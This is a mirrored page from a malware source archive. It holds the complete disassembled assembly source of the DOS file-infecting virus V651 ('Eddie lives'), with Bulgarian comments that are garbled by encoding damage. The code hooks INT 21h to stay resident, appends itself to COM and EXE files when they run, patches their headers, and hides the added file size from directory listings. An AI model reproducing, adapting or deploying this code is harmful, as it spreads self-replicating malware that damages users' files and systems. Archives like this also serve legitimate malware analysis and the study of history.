mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 12:25:29 +00:00
395 lines
18 KiB
NASM
395 lines
18 KiB
NASM
|
||
PAGE 59,132
|
||
|
||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||
;ÛÛ ÛÛ
|
||
;ÛÛ V651 ÛÛ
|
||
;ÛÛ ÛÛ
|
||
;ÛÛ Created: 17-Jan-80 ÛÛ
|
||
;ÛÛ Version: ÛÛ
|
||
;ÛÛ Passes: 9 Analysis Options on: ABCEFPX ÛÛ
|
||
;ÛÛ ÛÛ
|
||
;ÛÛ ÛÛ
|
||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||
|
||
data_1e equ 84h ; (6FC2:0084=0)
|
||
data_2e equ 86h ; (6FC2:0086=0)
|
||
|
||
seg_a segment byte public
|
||
assume cs:seg_a, ds:seg_a
|
||
|
||
|
||
org 100h
|
||
|
||
v651 proc far
|
||
|
||
start:
|
||
jmp loc_2 ; (09EB)
|
||
db 377 dup (0)
|
||
data_4 dw 0 ; Data table (indexed access)
|
||
data_5 dw 0 ; Data table (indexed access)
|
||
data_6 dw offset loc_1, seg loc_1 ;*Data table (indexed access)
|
||
data_8 dw 0 ; Data table (indexed access)
|
||
data_9 dw 0 ; Data table (indexed access)
|
||
data_10 dw 0 ; Data table (indexed access)
|
||
db 0 ; Data table (indexed access)
|
||
db 0
|
||
data_13 dw 0
|
||
db 0, 0
|
||
data_14 dw 0
|
||
data_15 dw 0
|
||
data_16 dw 0
|
||
data_17 dd 00000h
|
||
db 0, 0
|
||
data_19 dd 00000h
|
||
data_21 dw 0
|
||
data_22 dw 0
|
||
db 1863 dup (0)
|
||
loc_2:
|
||
call sub_1 ; (09EE)
|
||
|
||
v651 endp
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_1 proc near
|
||
pop bx
|
||
sub bx,3 ; bx - · «¥ ¤°¥±
|
||
push ax
|
||
sub ax,ax
|
||
mov es,ax ; ES:=0
|
||
mov ax,es:[84h] ; ‚§¥¬ INT 21h ¢¥ª²®°
|
||
mov cs:[bx+027Ch],ax ; ‡ ¯ §¢ offs INT 13h
|
||
mov ax,es:[86h] ; ⤴ seg INT 13h
|
||
mov cs:[bx+027Eh],ax ; ‡ ¯ §¢ seg INT 13h
|
||
mov ax,0A55Ah
|
||
int 21h ; <20>°®¢¥°¿¢ § °¥§¨¤¥²¥ ¢¨°³±
|
||
cmp ax,5AA5h
|
||
je loc_3 ; €ª® ¥ °¥§¨¤¥²¥. ˆ§µ®¤
|
||
mov ax,sp
|
||
inc ax
|
||
mov cl,4
|
||
shr ax,cl ; Shift w/zeros fill
|
||
inc ax
|
||
mov cx,ss
|
||
add ax,cx
|
||
mov cx,ds
|
||
dec cx ; <20> ¬¨° ª° ¿² ¯°®£° ¬ ²
|
||
mov es,cx
|
||
mov di,2
|
||
mov dx,2Bh
|
||
mov cx,[di] ; ‚ CX ±¥ § ¯¨±¢ ° §¬¥° ¯ ¬¥²²
|
||
sub cx,dx ; ˆ§¢ ¦¤ ®² CX , DX
|
||
cmp cx,ax ; <20>°®¢¥°¿¢ ¤ «¨ ¨¬ ¬¿±²® § ¢¨°³±
|
||
jb loc_3 ; €ª® ¿¬ ¨§«¨§
|
||
sub es:[di+1],dx ; ˆ§¢ ¦¤ ¤º«¦¨ ² ¢¨°³± ®² ²¥ª³¹¨¿ ¡«®ª
|
||
mov [di],cx ; ‡ ¯¨±¢ ®¢¨¿² ° §¬¥° ¯ ¬¥²²
|
||
mov es,cx
|
||
mov si,bx
|
||
sub di,di
|
||
mov cx,140h
|
||
cld ; <20>°¥¬¥±²¢ ª®¤ ¢ £®° ² · ±²
|
||
rep movs word ptr es:[di],word ptr cs:[si]
|
||
mov ax,es ; AX:=ES
|
||
mov es,cx ; ES:=0
|
||
cli
|
||
mov word ptr es:[84],0A7h ; <20>°®¬¥¿ INT 21h
|
||
mov es:[86],ax
|
||
sti
|
||
loc_3:
|
||
push ds
|
||
pop es
|
||
mov ax,cs:[bx+0288h] ; ‡ °¥¦¤ ´«®£ § ²¨¯ ´ ¨«
|
||
cmp ax,5A4Dh ; ” ¨« ¥ EXE ?
|
||
je loc_4
|
||
cmp ax,4D5Ah ; ” ¨« ¥ EXE ?
|
||
je loc_4
|
||
mov di,100h ; ‚ ¯°®²¨¢¥ ±«³· © ´ ¨« ¥ COM
|
||
mov [di],ax
|
||
mov al,byte ptr [bx+28Ah] ; ‚º§±² ®¢¿¢ ¯º°¢¨²¥ 3 ¡ ©²
|
||
mov [di+2],al
|
||
pop ax
|
||
push di
|
||
retn ; ‚°º¹ ³¯° ¢«¥¨¥²® ¯°£° ¬ ²
|
||
loc_4:
|
||
pop ax
|
||
mov dx,ds
|
||
add dx,10h ; <20>°¨¡ ¢¿ ªº¬ ±² °²®¢¨¿ ¤°¥±
|
||
add word ptr cs:[bx+0282h],dx ; ²¥ª³¹¨¿ ±¥£¬¥²
|
||
add dx,cs:[bx+0286h] ; <20>°¨¡ ¢¿ ªº¬ ²¥ª³¹¨¿ ±¥£¬¥²
|
||
mov ss,dx ; ®²¬¥±²¢ ¥²® SS
|
||
mov sp,cs:[bx+0284h] ; ‚º§±² ®¢¿¢ SP
|
||
jmp dword ptr cs:[bx+0280h] ; <20>°¥µ®¤ ªº¬ ¢µ®¤ ² ²®·ª ´ ¨«
|
||
|
||
;-----------------------------------------------------------------------------
|
||
|
||
sti ; ‚µ®¤ ²®·ª INT 21h
|
||
cmp ax,4B00h ; Exec read & exec
|
||
je loc_10
|
||
cmp ah,11h ; FindFirst FCB
|
||
je loc_5
|
||
cmp ah,12h ; FindNext FCB
|
||
je loc_5
|
||
cmp ax,0A55Ah
|
||
je loc_9 ; Jump if equal
|
||
jmp loc_28 ; (0C44)
|
||
loc_5:
|
||
pushf ; Push flags
|
||
call dword ptr cs:data_4 ; (6FC2:027C=0)
|
||
test al,al ; <20>°®¢¥°¿¢ ¤ «¨ ¥ ¬¥°¥ ´ ¨«
|
||
jnz loc_ret_8 ; €ª® ¥ ˆ‡•Ž„!
|
||
push ax
|
||
push bx ; ‡ ¯ §¢ AX,BX,ES
|
||
push es
|
||
mov bx,dx
|
||
mov al,[bx]
|
||
push ax
|
||
mov ah,2Fh ; '/'
|
||
int 21h ; DOS Services ah=function 2Fh
|
||
; get DTA ptr into es:bx
|
||
pop ax
|
||
inc al
|
||
jnz loc_6 ; Jump if not zero
|
||
add bx,7
|
||
loc_6:
|
||
mov ax,es:[bx+17h]
|
||
and al,1Fh ; <20>°®¢¥°¿¢ ¤ «¨ ¥ § ° §¥
|
||
cmp al,1Fh
|
||
jne loc_7
|
||
and byte ptr es:[bx+17h],0E0h
|
||
sub word ptr es:[bx+1Dh],28Bh ; Š®°¨£¨° ¤º«¦¨ ²
|
||
sbb word ptr es:[bx+1Fh],0
|
||
loc_7:
|
||
pop es
|
||
pop bx ; ‚º§±² ®¢¿¢ °¥£¨±²°¨²¥
|
||
pop ax
|
||
|
||
loc_ret_8:
|
||
iret ; Interrupt return
|
||
loc_9:
|
||
not ax ; ’®¢ ¥ ´³ª¶¨¿ A55A
|
||
iret ; Interrupt return
|
||
loc_10:
|
||
push ds
|
||
push es
|
||
push ax ; ⤴ INT 24h
|
||
push bx
|
||
push cx
|
||
push dx
|
||
push si
|
||
push di
|
||
mov ax,3524h
|
||
int 21h ; DOS Services ah=function 35h
|
||
; get intrpt vector al in es:bx
|
||
push es
|
||
push bx
|
||
push ds
|
||
push dx ; <20>°®¬¥¿ INT 24h
|
||
push cs
|
||
pop ds
|
||
mov dx,25Eh
|
||
mov ax,2524h
|
||
int 21h ; DOS Services ah=function 25h
|
||
; set intrpt vector al to ds:dx
|
||
pop dx
|
||
pop ds
|
||
mov ax,4300h ; ‚§¥¬ ²°¨¡³²¨²¥ ´ ¨«
|
||
int 21h ; DOS Services ah=function 43h
|
||
; get/set file attrb, nam@ds:dx
|
||
jnc loc_11 ; Jump if carry=0
|
||
sub cx,cx
|
||
jmp loc_26 ; ˆ§µ®¤
|
||
loc_11:
|
||
push cx
|
||
test cl,1
|
||
jz loc_12 ; <20>°®¢¥°¿¢ ¤ «¨ ¿¬ ¢ª«¾·¥ read-only
|
||
dec cx
|
||
mov ax,4301h ; <20>°®¬¥¿ ²°¨¡³²¨²¥ ´ ¨«
|
||
int 21h ; DOS Services ah=function 43h
|
||
; get/set file attrb, nam@ds:dx
|
||
loc_12:
|
||
mov ax,3D02h ; Ž²¢ °¿ ´ ¨«
|
||
int 21h
|
||
|
||
push cs
|
||
pop ds
|
||
jnc loc_13 ; Jump if carry=0
|
||
jmp loc_25 ; (0C2A)
|
||
loc_13:
|
||
mov bx,ax
|
||
mov ax,5700h ; ‚§¥¬ ¢°¥¬¥²® ´ ¨«
|
||
int 21h ; DOS Services ah=function 57h
|
||
; get/set file date & time
|
||
jc loc_14 ; Jump if carry Set
|
||
mov al,cl
|
||
or cl,1Fh ; <20>°®¢¥°¿¢ ´ ¨« § ° §¥ «¨ ¥
|
||
cmp al,cl
|
||
jne loc_15 ; Jump if not equal
|
||
loc_14:
|
||
jmp loc_24 ; (0C26)
|
||
loc_15:
|
||
push cx
|
||
push dx
|
||
mov dx,288h
|
||
mov cx,18h
|
||
mov ah,3Fh ; —¥²¥ ¯°¥´¨ª± EXE
|
||
int 21h ; DOS Services ah=function 3Fh
|
||
; read file, cx=bytes, to ds:dx
|
||
jc loc_16 ; Jump if carry Set
|
||
sub cx,ax
|
||
jnz loc_16 ; Jump if not zero
|
||
les ax,data_17 ; ‡ ¯®¬¿ ®²¬¥±²¢ ¥²® SS ¨ SP
|
||
mov data_8,es ; (6FC2:0284=0) => SS
|
||
mov data_9,ax ; (6FC2:0286=0) => SP
|
||
les ax,data_19 ; ‡ ¯®¬¿ ®²¬¥±²¢ ¥²® CS ¨ IP
|
||
mov word ptr data_6,ax ; (6FC2:0280=0) => IP
|
||
mov word ptr data_6+2,es ; (6FC2:0282=0) => CS
|
||
mov dx,cx
|
||
mov ax,4202h
|
||
int 21h ; DOS Services ah=function 42h
|
||
; move file ptr, cx,dx=offset
|
||
jc loc_16 ; Jump if carry Set
|
||
mov data_21,ax ; (6FC2:02A0=0)
|
||
mov data_22,dx ; (6FC2:02A2=0)
|
||
mov cx,28Bh
|
||
cmp ax,cx
|
||
sbb dx,0
|
||
jc loc_16 ; Jump if carry Set
|
||
call sub_2 ; <20>°®¢¥°¿¢ ¤ «¨ ¥ EXE
|
||
jz loc_17 ; Jump if zero
|
||
cmp ax,0FB75h ; <20>°®¢¥°¿¢ ¤ «¨ ¥ ¢º§¬®¦® ¤ ±¥ § ¯¨¸¥
|
||
jb loc_17 ; Jump if below
|
||
loc_16:
|
||
jmp loc_22 ; (0C1C)
|
||
loc_17:
|
||
sub dx,dx
|
||
mov ah,40h ; ‡ ¯¨±¢ ¢¨°³± ¢ ª° ¿ ´ ¨«
|
||
int 21h ; DOS Services ah=function 40h
|
||
; write file cx=bytes, to ds:dx
|
||
jc loc_16 ; Jump if carry Set
|
||
sub cx,ax
|
||
jnz loc_16 ; Jump if not zero
|
||
mov dx,cx
|
||
mov ax,4200h ; <20>°¥¬¥±²¢ FP ¢ · «®²® ´ ¨«
|
||
int 21h ; DOS Services ah=function 42h
|
||
; move file ptr, cx,dx=offset
|
||
jc loc_16 ; Jump if carry Set
|
||
mov ax,data_21 ; (6FC2:02A0=0)
|
||
call sub_2 ; <20>°®¢¥°¿¢ ¤ «¨ ¥ EXE
|
||
jnz loc_20 ; Jump if not zero
|
||
mov dx,data_22 ; (6FC2:02A2=0)
|
||
mov cx,4
|
||
mov si,data_14 ; (6FC2:0290=0)
|
||
sub di,di
|
||
|
||
locloop_18:
|
||
shl si,1 ; Shift w/zeros fill
|
||
rcl di,1 ; Rotate thru carry
|
||
loop locloop_18 ; Loop if cx > 0
|
||
|
||
sub ax,si
|
||
sbb dx,di
|
||
mov cl,0Ch
|
||
shl dx,cl ; Shift w/zeros fill
|
||
mov word ptr data_19,ax ; (6FC2:029C=0)
|
||
mov word ptr data_19+2,dx ; (6FC2:029E=0)
|
||
add dx,31h
|
||
nop ; Š®°¨£¨° ¯°¥´¨ª±
|
||
mov word ptr data_17+2,ax ; (6FC2:0298=0)
|
||
mov word ptr data_17,dx ; (6FC2:0296=0)
|
||
add data_15,9 ; (6FC2:0292=0)
|
||
mov ax,data_15 ; (6FC2:0292=0)
|
||
cmp ax,data_16 ; (6FC2:0294=0)
|
||
jb loc_19 ; Jump if below
|
||
mov data_16,ax ; (6FC2:0294=0)
|
||
loc_19:
|
||
mov ax,word ptr ds:[28Ah] ; (6FC2:028A=0)
|
||
add ax,28Bh
|
||
push ax
|
||
and ah,1
|
||
mov word ptr ds:[28Ah],ax ; (6FC2:028A=0)
|
||
pop ax
|
||
mov cl,9
|
||
shr ax,cl ; Shift w/zeros fill
|
||
add data_13,ax ; (6FC2:028C=0)
|
||
jmp short loc_21 ; (0C0C)
|
||
loc_20:
|
||
sub ax,3
|
||
mov byte ptr data_10,0E9h ; (6FC2:0288=0)
|
||
mov word ptr data_10+1,ax ; (6FC2:0289=0)
|
||
loc_21:
|
||
mov dx,288h
|
||
mov cx,18h
|
||
mov ah,40h ; ‡ ¯¨±¢ ¯°¥´¨ª±
|
||
int 21h ; DOS Services ah=function 40h
|
||
; write file cx=bytes, to ds:dx
|
||
jc loc_22 ; Jump if carry Set
|
||
cmp ax,cx
|
||
je loc_23 ; Jump if equal
|
||
loc_22:
|
||
stc ; Set carry flag
|
||
loc_23:
|
||
pop dx
|
||
pop cx
|
||
jc loc_24 ; ‚º§±² ®¢¿¢ ¢°¥¬¥²®
|
||
mov ax,5701h
|
||
int 21h ; DOS Services ah=function 57h
|
||
; get/set file date & time
|
||
loc_24:
|
||
mov ah,3Eh ; ‡ ²¢ °¿ ´ ¨«
|
||
int 21h
|
||
loc_25:
|
||
pop cx
|
||
loc_26:
|
||
test cl,1
|
||
jz loc_27 ; Jump if zero
|
||
mov ax,4301h ; ‚º§±² ®¢¿¢ ²°¨¡³²¨²¥
|
||
int 21h ; DOS Services ah=function 43h
|
||
; get/set file attrb, nam@ds:dx
|
||
loc_27:
|
||
pop dx
|
||
pop ds
|
||
mov ax,2524h
|
||
int 21h ; ‚º§±² ®¢¿¢ INT 24h
|
||
pop di
|
||
pop si
|
||
pop dx
|
||
pop cx ; ‚º§±² ®¢¿¢ °¥£¨±²°¨²¥
|
||
pop bx
|
||
pop ax
|
||
pop es
|
||
pop ds
|
||
loc_28:
|
||
jmp dword ptr cs:data_4 ; (6FC2:027C=0)
|
||
mov al,3
|
||
iret ; Interrupt return
|
||
sub_1 endp
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_2 proc near ; <20>°®¢¥°¿¢ ¤ «¨ ´ ©« ¥ EXE
|
||
mov si,data_10 ; (6FC2:0288=0)
|
||
cmp si,5A4Dh
|
||
je loc_ret_29 ; Jump if equal
|
||
cmp si,4D5Ah
|
||
|
||
loc_ret_29:
|
||
retn
|
||
sub_2 endp
|
||
|
||
db 'Eddie lives'
|
||
otmestwania db 0, 60h, 14h, 8Eh, 2, 0
|
||
db 7 dup (0)
|
||
First_inst: db 0CDh, 20h, 0
|
||
|
||
seg_a ends
|
||
|
||
|
||
|
||
end start
|
||
|